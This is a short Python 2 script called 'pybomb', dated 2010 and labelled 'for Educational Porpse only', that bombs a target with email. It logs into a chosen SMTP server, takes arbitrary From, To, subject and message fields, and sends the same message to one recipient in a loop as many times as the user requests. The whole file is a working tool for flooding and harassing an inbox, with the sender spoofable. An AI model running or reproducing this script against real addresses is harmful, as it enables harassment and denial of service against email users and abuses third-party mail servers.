import smtplib
import sys
import time
from email.MIMEText import MIMEText
#########################################################################                                           #
# This is for Educational Porpse only!                                  #
# Copyright (C) 2010 LeXeL                                              #
#                                                                       #
# This program is free software: you can redistribute it and/or modify  #
# it under the terms of the GNU General Public License as published by  #
# the Free Software Foundation, either version 3 of the License, or     #
# any later version.                                                    #
#                                                                       #
# This program is distributed in the hope that it will be useful,       #
# but WITHOUT ANY WARRANTY; without even the implied warranty of        #
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         #
# GNU General Public License for more details.                          #
#                                                                       #
# You should have received a copy of the GNU General Public License     #
# along with this program.  If not, see <http://www.gnu.org/licenses/>. #
#########################################################################
class SMTP(object):
    def title(self):
        print """
            \t______       _                     _     
            \t| ___ \     | |                   | |    
            \t| |_/ /_   _| |__   ___  _ __ ___ | |__  
            \t|  __/| | | | '_ \ / _ \| '_ ` _ \| '_ \ 
            \t| |   | |_| | |_) | (_) | | | | | | |_) |
            \t\_|    \__, |_.__/ \___/|_| |_| |_|_.__/ 
            \t        __/ |                            v1.0
            \t       |___/                             
            \t Tool made by: LeXeL lexelEZ[at]gmail[dot]com
                  """

    def SMTPconnect(self):
        print "For a complete list of SMTP server go to this link:"
        print "http://www.e-eeasy.com/SMTPServerList.aspx"
        smtpserver=raw_input("\nEnter SMTP server: ")
        smtpport=input("Enter SMTP port (Usualy 25 or 465): ")
        print "\tMaking Connection, Please wait"
        print "\tThis will take some seconds!"
        try:
            self.mailServer = smtplib.SMTP(smtpserver,smtpport)
            self.mailServer.starttls()
        except IOError, e:
            print 'Error: %s' %(e)
            time.sleep(5)
            sys.exit(1)
##            
        username=raw_input("\nEnter Username: ")
        password=raw_input("Enter Password: ")
        try:
            self.mailServer.login(username,password)
        except BaseException, e:
                print 'Error: %s' % (e)
                time.sleep(3)
                sys.exit(1)
    def buildemail(self):
        print "\tBuilding message part"
        From = raw_input("\nFrom: ")
        To = raw_input("\nTo: ")
        Subject = raw_input("\nSubject: ")
        Message = raw_input("\nMessage: ")
        mensaje = MIMEText(Message)
        mensaje['From']=From 
        mensaje['To']=To
        mensaje['Subject']=Subject
        ammount = input("How Many times would you like to send email: ")
        x = 0
        while x < ammount:
            self.mailServer.sendmail(From, To, mensaje.as_string())
            x+=1
        print "Send %d messages to %s" %(ammount,To)
        time.sleep(4)
        print "Thnx for using pybomb!"
if __name__ == '__main__':
    s = SMTP()
    s.title()
    s.SMTPconnect()
    s.buildemail()
